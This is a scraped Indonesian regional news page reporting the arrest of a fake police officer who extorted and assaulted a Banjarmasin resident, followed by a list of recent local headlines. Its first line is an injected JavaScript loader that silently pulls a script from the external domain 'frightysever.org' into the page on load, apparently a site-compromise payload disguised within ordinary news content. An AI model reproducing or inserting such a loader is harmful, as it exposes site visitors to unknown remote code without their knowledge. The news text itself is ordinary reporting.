(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Warga Banjarmasin Dianiaya Polisi Gadungan, Uang Jutaan Rupiah Raib


KANALKALIMANTAN.COM, BANJARMASIN – Kelakukan busuk pria berinsial ADF akhirnya terbongkar. Ia merupakan seorang polisi gadungan yang berhasil diamankan polisi.

ADF, pria asal Samarinda diringkus polisi lantaran terlibat aksi penipuan, pemerasan dan penganiayaan terhadap Budi Noor, seorang warga Banjarmasin.

Kasus penganiayaan ini terungkap setelah korban melapor ke Polsek Balikpapan Utara pada 31 Maret 2021 lalu.

Mengutip Inibalikpapan.com (jaringan Suara.com), pelaku dan korban sejatinya pertama kali bertemu pada November 2020.

Baca juga : Indonesia Desak Israel Hentikan Kekerasan terhadap Warga Sipil Palestina

Ketika itu pelaku menggenakan kalung penyidik dan menyelipkan satu senjat air softgun dipinggangnya. Korban mengira pelaku adalah anggota polisi.

Keduanya lalu bertemu di rumah pelaku untuk berbisnis jual beli mobil pada Desember 2021. Di sana, pelaku mengaku dari kesatuan Densus 88 Anti Teror Polri.

Singkat cerita, pada 6 Maret 2021 pelaku mendatangi korban di Apartemen Grand Valley. Dia mengenakan kalung lencana penyidik Polri dan memperlihatkan senjata jenis FN warna hitam.

Tiba-tiba, pelaku meminta uang 40 juta kepada korban dengan alasan untuk membayar Propam. Dia bilang, karirnya terancam jika di kesatuan Densus 88 jika tak membayar.

Pelaku pun sempat menganiaya korban dan mengancam akan membunuh jika tidak diberikan hingga malam.

Baca juga : Cabai Rawit Lokal di Pasar Amuntai Tembus Rp 120 Ribu per Kilogram

Karena takut korban mentransfer Rp 5 juta ke rekening pelaku. Lalu, pada malam harinya pelaku datang lagi kemudian langsung melakukan penganiayaan.

orban pun kemudian mentransfer sejumlah uang ke rekening pelaku hingga totalnya menjadi Rp 8,5 juta.

Tak terima menjadi korban penganiayaan dan pemerasan, korban kemudian melapor ke polisi hingga akhirnya pelaku diamankan.

“Pelaku ini mengaku sebagai polisi pangkat yang digunakan Perwira untuk memeras korban. Kadang-kadang mengaku juga sebagai Kopasus,” ujar Kapolsek Balikpapan Utara Kompol Danang Aries Susanto.

Atas perbuatannya, pelaku menelan pil pahit. Dia dikenakan pasal 368 KUHP JO 378 KUHP dan 351 ayat 1 HUHP dengan ancaman hukuman 9 tahun penjara.(Suara.com)

 

 

 

 


Al Ghifari

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

1 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

2 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

4 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

7 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

10 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

10 jam ago

This website uses cookies.